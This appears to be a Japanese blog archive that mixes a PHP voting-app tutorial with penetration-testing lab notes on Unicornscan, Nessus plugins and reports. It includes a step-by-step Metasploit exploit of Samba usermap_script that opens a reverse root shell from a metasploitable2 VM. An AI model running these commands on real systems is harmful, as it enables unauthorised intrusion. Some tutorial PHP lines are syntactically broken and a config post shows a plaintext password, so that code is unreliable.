#08 エラーチェックをしてみよう
http://dotinstall.com/lessons/poll_php_v2/9708
を参考に
投票された内容をチェックしてエラーが発生した場合の処理を実装
まず、トークンが入っていて
セッションの中のものと同じかチェックする
if(empty($_SESSION[‘token’] || $_POST[‘token’] != $_SESSION[‘token’]){
で判定できる
empty($_SESSION[‘token’]
は token が空という意味
$_POST[‘token’] != $_SESSION[‘token’])
は、token とおくられてきた token が違うなら
という意味
||はもしくは、というOR判定
これで、どちらかの条件にあてはまるものを検出できる
もし、該当するなら
echo “不正な操作です”;
exit;
で終了する
続いて、エラーチェック
回答は1~4なので
if(!in_array($_POST[‘answer’],array(1.2.3.4)){
で判定する
in_array() は
配列に指定した値があるか検索する
http://php.quus.net/array/in_array.php
を参考
今回なら
answer の値が1~4の間に入っているか調べている
!がついているので、条件式としては
入っていないなら、という意味になっている
この場合、エラーを出すように
$err =”写真を選択してください”;
とする
このままではエラーがでないので、HTML部分にソースを追記
body タグの下あたりに
<?php if(!empty($err)): ?>
<p style=”color:red”><?php echo h($err); ?></p>
<?php endif; ?>
と追記する
if(!empty($err)):
は$err に値が入っている場合、
つまりエラーがある場合という意味
で
この場合
<?php echo h($err); ?>
でエラーを表示している
月別: 2013年7月
CSRF対策の実施
CSRF対策の実施
#07 CSRF対策を施そう
http://dotinstall.com/lessons/poll_php_v2/9707
を参考に
セキュリティを高めるためにCSRF対策を施す
sha1はハッシュで、暗号化とは異なり求み戻せない
暗号化の場合は、鍵があれば元に戻せる
今回、編集するファイルは index.php
まず、投稿されたかどうか判定する
if($_SERVER[‘REQUEST_METHOD’] != ‘POST’)
!= ‘POST’はPOSTではない
つまり投稿されていない状態という意味
else のほうに、投稿されたときの処理を書く
投稿前の処理で、CSRF対策をしておく
CSRF対策は、トークンをフォームにセットして
投稿された後に、このフォームから投稿されたものか
値をチェックすることで判定する
これは、偽者のフォームなど、悪意あるフォームからの投稿を防ぐため
まず、セッションをみて
トークンがセットされていないなら、トークンをセットする
if(!isset($_SESSION[‘token’])){
とすれば判定できる
isset() は指定した値が入っているかチェックする
http://php.net/manual/ja/function.isset.php
を参考
トークンの中身は推測されにくいランダムな文字列を使う
このときに sha1() を使う
暗号化した文字列を取得するのに使う
http://phpjp.com/sha1.htm
を参考に
この中で mt_rand() という乱数を発生させる関数
これについては
乱数を生成する(rand, mt_rand)
http://www.phpbook.jp/func/math/index1.html
を参考
そして
uniqid()
これは
マイクロ秒単位の現在時刻にもとづいた、接頭辞つきの一意な ID を取得
一意というのは、他と被らないただ1つという意味
uniqid() で true が設定されていると
23文字になる
これについては
http://phpspot.net/php/man/php/function.uniqid.html
を参考
これらを元に
$_SESSION[‘token’] = sha1(uniqid(mt_rand(),true));
これでハッシュ化されたランダムな文字列を作り
token に設定している
また、セッションを使うため
require_one() の下あたりに
session_start();
を追記する
ここからセッション開始になる
また、HTMLのフォーム部分に
セッショントークンを埋め込むため
<input type=”hidden” name=”token” value=”<?php echo h($_SESSION[‘token’]); ?>”>
というように
type=”hidden” にして画面には表示されないようにして
おく
実行後、ブラウザでソースをみると、値がセットされているのがわかる
Unicornscan の設定
BT5R3 ネットワークツール
パケットキャプチャツールは
情報収集だけでなく
検査のとき送受信したデータのエビデンス収集を
目的に使われる
今回も、 VirtualBox でBT5R3を使い
対象サーバーには metasploitable2 を使用
今回は Unicornscan の実践
Unicornscan は nmap のような
ポートスキャナー
検査結果を PostgreSQL に格納できる
コマンド以外に Web UI でも使えるけど
最初にコマンドによる設定が必要
ln -s /opt/metasploit /opt/framework3
chmod 755 /pentest/scanners/unicornscan
これで、シンボリックリンク作成と
権限の変更
次に、セットアップスクリプトの修正
vim /pentest/scanners/unicornscan/setup-unicornscan.sh
:set number
で番号表示すると編集しやすい
修正箇所は
29,30行目
psqlcmd=”psql.bin -h 127.0.0.1 -p 7175″
createdbcmd=”createdb.bin -h 127.0.0.1 -p 7175″
から.bin を削除して
psqlcmd=”psql -h 127.0.0.1 -p 7175″
createdbcmd=”createdb -h 127.0.0.1 -p 7175″
次に、セットアップ後に Web UI で使用するポート番号を変えたいので
7175 から 7337 へ変更
変更箇所は
29
30
570
571
行目
psqlcmd=”psql -h 127.0.0.1 -p 7175″
を
psqlcmd=”psql -h 127.0.0.1 -p 7337″
というように
-p はポートを示しているので、この番号を変更
探すときに
/7175
で探すと見つけやすい
次に 143 行目の
udo -u postgres $psqlbin/psql -c “alter user $uni_user_esc with password ‘$ uni_pw_esc'”
の
$uni_user_esc
を
$uni_user
$uni_pw_esc を $uni_pw
と変更して
sudo -u postgres $psqlbin/psql -c “alter user $uni_user with password ‘$uni_pw'”
とする
147~149行目の
sudo -u $uni_user_esc
を
sudo -u postgres
に変更する
148,149行目の
$psqlbin/$psqlcmd の後ろに
-u $uni_user_esc
を追記
これで
sudo -u postgres $psqlbin/$psqlcmd -u $uni_user_esc -d $uni_db_esc < $SCRIPT _PATH/unicornscan/src/output_modules/database/sql/pgsql_schema.sql
sudo -u postgres $psqlbin/$psqlcmd -u $uni_user_esc -d $uni_db_esc < $SCRIPT _PATH/unicornscan/www-front-end/lib/session.sql
となるので、保存して終了
投票結果を jQuery で取得
#06 投票結果を取得してみよう
http://dotinstall.com/lessons/poll_php_v2/9706
を参考に
クリックされた画像のIDを取得するための処理をjQueryで実装
編集するのは index.php
の form タグの下あたりに
script タグで作成する
$(function(){
$(‘.candidate’).click(function(){
$(‘#answer’).val($(this).data(‘id’));
});
});
という処理になる
jQuery関連を勉強するとわかるけど
.candidate は
class=”candidate”
#answer は
id=”answer”
という意味
this はそのもの、というような意味
とりあえず、実働実験するので
input type=”hidden” だと見えないので
input type=”text” として値が取得できているか確認する
このままだと、写真をクリックしたときに
どれを選択したかわからないから
新しいクラスをつける
まず、CSSを設定する
head タグの中に
<style>
.selected {
border:4px solid red;
}
</style>
これで、選択した画像の回りに赤い線がでるようになる
この動作を jQuery で制御する
まず、すべての selected を外す
$(‘.candidate’).removeClass(‘selected’);
そして、選択したものに selected を追加する
$(this).addClass(‘selected’);
これで、再度読み込んでみると
選択した写真の回りに赤い線がでるようになり
わかりやすくなる
ここまでできたら、
<input type=”text” id=”answer” name=”answer” value=””>
から
<input type=”hidden” id=”answer” name=”answer” value=””>
へ戻す
投票画面の作成
投票画面の作成
#05 投票画面を作ってみよう
http://dotinstall.com/lessons/poll_php_v2/9705
を参考に、投票画面の作り込み
編集するのは index.php
まず、
http://サーバーIP/poll_php
にアクセスしてエラーがないのを確認
投票は form で行う
アクションを行うのは、同じファイル
つまり index.php なので
action=”” というように空でOK
もし、 action.php などを作成して行うなら
action=”action.php” というようになる
今回なら
<form action=”” method=”POST”>
今回の場合、画像が欲しいので
フリー画像 素材 料理
などで検索して、画像を4つ用意する
そして、4つの写真の名前を
photo1.jpg
photo2.jpg
photo3.jpg
photo4.jpg
という名前にして保存し
サーバーに転送
私の場合、Ubuntu がクライアントマシンなので
cd $HOME/ピクチャ/
で画像がおいてあるフォルダに移動して
scp *.jpg 192.168.10.151:/var/www/html/poll_php/
でファイルを転送
windows なら
winscp あたりで転送できるし
Android なら AndFTP Pro で scp が使えるので
こちらで転送することも可能
ipod touch の場合 scp が使えるのが見当たらないので
SFTP で転送
そして、画像に
class=”candidate”
data-id=”1″
というように番号を振っておく
これは後の jQuery 処理に使う
ソースにすると
<img src=”photo1.jpg” class=”candidate” data-id=”1″>
<img src=”photo2.jpg” class=”candidate” data-id=”2″>
<img src=”photo3.jpg” class=”candidate” data-id=”3″>
<img src=”photo4.jpg” class=”candidate” data-id=”4″>
というように4つ用意する
そして、送信するために
ボタンを作成する
<input type=”submit” value=”投票する”>
そして、
クリックされた写真に応じて番号が入るようにする
投票の仕方は
<input type=”hidden” id=”answer” name=”answer” value=””>
で
クリックされた写真に応じて1~4の値が入るようになる
とりあえず、ここまでやって写真が表示されるか確認
動画みたいに4分割されていないけど
ブラウザを縮小してみると分割されるので問題ないと思う
次に、
<input type=”hidden” id=”answer” name=”answer” value=””>
のところに値が入るようにするので
jQuery を使うことになる
ライブラリをダウンロードして保存でもいいけど
どのみちネットにつながってるなら
リンクしたほうが効率的なので
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js”></script>
で読み込む
追記するのは head タグの中
これで、このときの処理を form タグの下あたりに追記していく
NASL(Nessus Attack Script Language)
NASL(Nessus Attack Script Language)
NASL は Nessus のプラグイン記述に使われる
スクリプト言語のこと
Nessus プラグインは自作して追加ができる
このためには、まず Nessus の設定を変更して
オリジナルプラグインが使えるようにする
vim /opt/nessus/etc/nessus/nessusd.conf
で設定ファイルを開き
135行目の
nasl_no_signature_check = no
を
nasl_no_signature_check = yes
に変更し、保存
次にオリジナルプラグインを
.nasl という拡張子で保存して
/opt/nessus/lib/nessus/plugins/
へ保存する
次に、プラグインのインデックス再構築をするので
service nessusd stop
/opt/nessus/sbin/nessusd -R
再構築完了後
service nessusd start
で起動して
web UI からログイン
ログインは
https://localhost:8834/flash.html
これで
ポリシー作成のときの plugin に
自作の pllugin が表示されるようになる
NASLの言語仕様
報告書の書き方などは
Nessus入門(ネットワーク脆弱性試験ツール活用術)
を参考に
Nessus 調査レポートのファイル形式
Nessus 調査レポートのファイル形式
.nessus
XML形式
Nessus の標準形式になる
この形式のみ Nessus サーバーにアップロード可能
HTML
webブラウザーでレポート内容の表示
ダウンロードするには Nessusのブラウザ機能を使う
rtf
Ritch Text Format 形式
ワードパッドなどで読み込めるけど
word で読み込ませるならHTMLのほうがよい
NBE
パイプラインで区切られたフォーマット
多数の外部プログラムで読み込みできる
ただし、アップロードができない
Nessus 調査レポートの出力について
Nessus 調査レポートの出力について
脆弱性検査は
POCAサイクルで行われる
Plan 計画
Do 実行
Check 評価
Act 改善
の略
Nessus レポートのダウンロード機能は
スキャン結果データのエクスポート
レポートの出力機能
の2つ
2つとも検査結果をエクスポートするのは変わらないけど
インポートできるかどうかという点が違う
出力形式は複数選べるけど
アップロード可能なのは
XML形式の .nessusだけ
このため、後々Nessus でレポートを表示したり
Professiona Feed ライセンスのみできることだけど
結果の比較を行うというのなら
.nessus 形式で保存することになる
またHTML形式で出力する場合のみ
出力内容の『指定が可能
このHTMLで出力は
3種類あるけど
Nessus のブラウザーで表示するものなので注意
以下、その3種類についてのメモ
Detailed HTML Report
脆弱性を検出したプラグインを基準にしてデータ出力
検出対象ホストは、各プラグインの説明の中にかかれる
Executive HTML Report
経営層向けのサマリーレポート
潜在リスクの高さをグラフ表示する
HTML export
各ホストごとに検出した脆弱性の情報を出力する
なお、これら Nessus レポートは英語になるので注意
PHP投票システムの設定ファイル作成
PHP投票システムの設定ファイル作成
#03 設定ファイルを作ろう
http://dotinstall.com/lessons/poll_php_v2/9703
をもとに設定ファイルを作成
vim config.php にアプリ共通の設定を作成
まずは、定数を define() で作成していく
DB関連とサイトURLは定数にしておくと書くのが楽になる
define(‘DSN’, ‘mysql:host=localhost;dbname=dotinstall_poll_php’);
define(‘DB_USER’, ‘dbuser’);
define(‘DB_PASSWORD’, ‘nk31gsfms’);
define(‘SITE_URL’, ‘http://192.168.10.151 /poll_php/’);
こうすることで、後で変更するのも楽になる
エラー出力方法も指定しておく
これはほぼ決まり文句で
NOTICE以外は全て表示するので
error_reporting(E_ALL & -E_NOTICE);
また、一部セッションを使うので
session の設定を行う
session_set_cookie_params(0,’/poll_php/’);
これで、poll_php ディレクトリの中だけセッションが有効になる
次に、よく使う関数もファイルを作成して
そこに登録しておく
vim function.php でファイルを作成して
そこにまとめる
参考にするのは
#04 よく使う関数を登録しておこう
http://dotinstall.com/lessons/poll_php_v2/9704
ここにまとめるのは
DB接続関連
そして
HTMLへのエスケープ出力関連
まず、DB接続関係
DB接続は try catch 形式で行う
catch の部分には、うまくいかなかったときの処理を書く
catch(PDOException $e){
echo $e->getMessage();
exit;
}
接続できたときの処理は
try のところに記述する
return でPDOオブジェクトを返すようにする
オプションは
DSN
DBUSER
DB_PASSWORD
という設定ファイルで作った定数を指定する
エスケープに関しては、
htmlspecialchars() を使うけど、長いし面倒なので
h() でできるように設定しておく
function h($s){
return htmlspecialchars($s, ENT_QUOTES, “UTF-8”);
}
とすることで、うまくいかなかったときのエラーが
出力される
ここまでできたら、index.php というホーム画面を作成
require_once() で
config.php
functions.php を読み込む
metasploitable2 samba攻略
metasploitable2 samba攻略
virtualbox を起動し
BT5R3
metasploitable2
を起動
以下、BT5R3 の操作
まず root でログインして
startx で X windows 起動
service nessusd start
でNessus起動
msfconsole
で
MSF起動
load nessus
で MSFから Nessus 接続機能ロード
nessus_connect hjuser:Nessusのパスワード@127.0.0.1
でNessus 接続
search samba
で samba の脆弱性を調べる
この中から
use exploit/multi/samba/usermap_script
で使用する Exploit を指定
次に指定可能なオプションを
show options
で確認
オプションの確認ができたら
RHOST、つまり対象の設定
set RHOST 192.168.10.214
次に show payloads
を実行して、実行可能な payload の確認
この中から指定する payload の指定をする
set payload cmd/unix/reverse
一覧のときには
payloads なのに、
セットするときには payload なので注意
reverse では
相手側から自ホスト側に接続が行われるので
自ホスト側の設定が必要になるので
show options
でオプションを確認すると
LHOST
LPORT
の設定がでているのが確認できるので
設定する
オプションで確認したときに
Required のところに yes となっているけど
これは必須項目という意味
とりあえず、自マシンのIPが必要なので
ifconfig で調べて
set LHOST 192.168.10.174
というように
set LHOST BT5R3のIPアドレス
と設定する
これをやらないと exploit が実行できない
これで、再び
show options
で設定を確認して LHOST にIPアドレスが
設定されたか確認する
ここまでできたら、
exploit
で実行
Command shell session 1 opened
となるまで待つ
あとは、 vsftpd のときと同じように
id;
でroot 権限になっているか
ifconfig:
でIPの確認
などで権限やリモートシェルの確認ができればOK
終了したいときには
Ctrl + c で
Abort session 1? [y/N] y
で終了できる
今回の参考書籍